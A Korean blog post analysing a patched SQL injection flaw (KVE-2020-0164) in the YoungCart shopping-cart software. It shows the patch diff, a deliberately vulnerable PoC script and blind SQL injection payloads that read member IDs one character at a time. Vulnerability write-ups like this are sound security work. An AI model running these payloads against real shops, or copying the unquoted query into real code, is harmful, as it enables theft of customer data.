본문 바로가기
Hack/Web

[KVE-2020-0164] YoungCart 1Day 취약점 분석 (SQL Injection)

by Becoming a Hacker 2020. 9. 22.
반응형

개요

먼저 해당 취약점은 PG(전자지급 결제대행)사에서 데이터를 보냈는지 하드코딩된 IP로 확인하는 과정이 존재하기 때문에 실제 익스플로잇 가능성은 거의 없다고 생각이 됩니다.

 

취약점 관련 정보

정보 내용
취약 버전 Young Cart <= 5.4.2.2
패치 버전 Young Cart 5.4.2.3
취약점 종류 SQL Injection
KVE 번호 KVE 2020-0164

 

패치 내역(-는 패치 이전 코드, +는  패치 이후 코드)

 

mobile/shop/inicis/settle_common.php

# 45 Line
- $P_OID = $_POST['P_OID'];
+ $P_OID = preg_replace("/[ #\&\+%@=\/\\\:;,\.'\"\^`~|\!\?\*$#<>()\[\]\{\}]/i", "", $_POST['P_OID']);

# 99 Line
- $sql = " select * from {$g5['g5_shop_order_data_table']} where od_id = $P_OID ";
+ $sql = " select * from {$g5['g5_shop_order_data_table']} where od_id = '$P_OID' ";

분석

패치 내역을 분석한 경과, P_OID 변수가 Query로 사용되는 과정에서 필터링 없이 그대로 사용되었기 때문에 취약점이 발생하였습니다.

 

아래는 하드코딩된 IP를 이용하여 PG사에서 보낸 데이터만을 처리하는 코드입니다.

# 19 Line
if($PGIP == "211.219.96.165" || $PGIP == "118.129.210.25" || $PGIP == "183.109.71.153" || $PGIP == "203.238.37.15"){ //PG에서 보냈는지 IP로 체크

 

해당 취약점을 시연하기 위해 PoC.php 파일과 g5_shop_order_data 테이블의 데이터를 아래와 같이 작성하였습니다.

 

PoC.php

<?php
        include_once('./_common.php');
        $P_OID = $_GET['P_OID'];
        $sql = " select * from {$g5['g5_shop_order_data_table']} where od_id = $P_OID ";
        echo $sql."<Br>";
        $od = sql_fetch($sql);
        print_r($od);
?>

 

g5_shop_order_data Table

mysql> SELECT * FROM g5_shop_order_data; 
+-------+---------+-------+-------+----------+---------------------+ 
| od_id | cart_id | mb_id | dt_pg | dt_data  | dt_time             | 
+-------+---------+-------+-------+----------+---------------------+ 
|     1 |       1 | test1 | test2 | testData | 2020-09-09 11:14:35 | 
+-------+---------+-------+-------+----------+---------------------+ 
1 row in set (0.00 sec)

 

GET 파라메터 P_OID에 입력한 값에 따라 Blind SQL Injection 취약점이 발생하는 것을 확인할 수 있습니다.

P_OID 값 : P_OID=1

 

P_OID 값 : P_OID=1 and 0x61=(SELECT substr(mb_id,1,1) from g5_member)

 

P_OID 값 : P_OID=1 and 0x62=(SELECT substr(mb_id,1,1) from g5_member)

 

오픈소스의 경우, 데이터베이스 내 테이블이 동일하기 때문에 굳이 테이블과 컬럼 명을 획득할 필요가 없습니다. 


Reference

https://github.com/gnuboard/youngcart5/commit/daaff69d0de5964e2773df66fbf185503196a517

https://sir.kr/yc5_pds/2617

 

댓글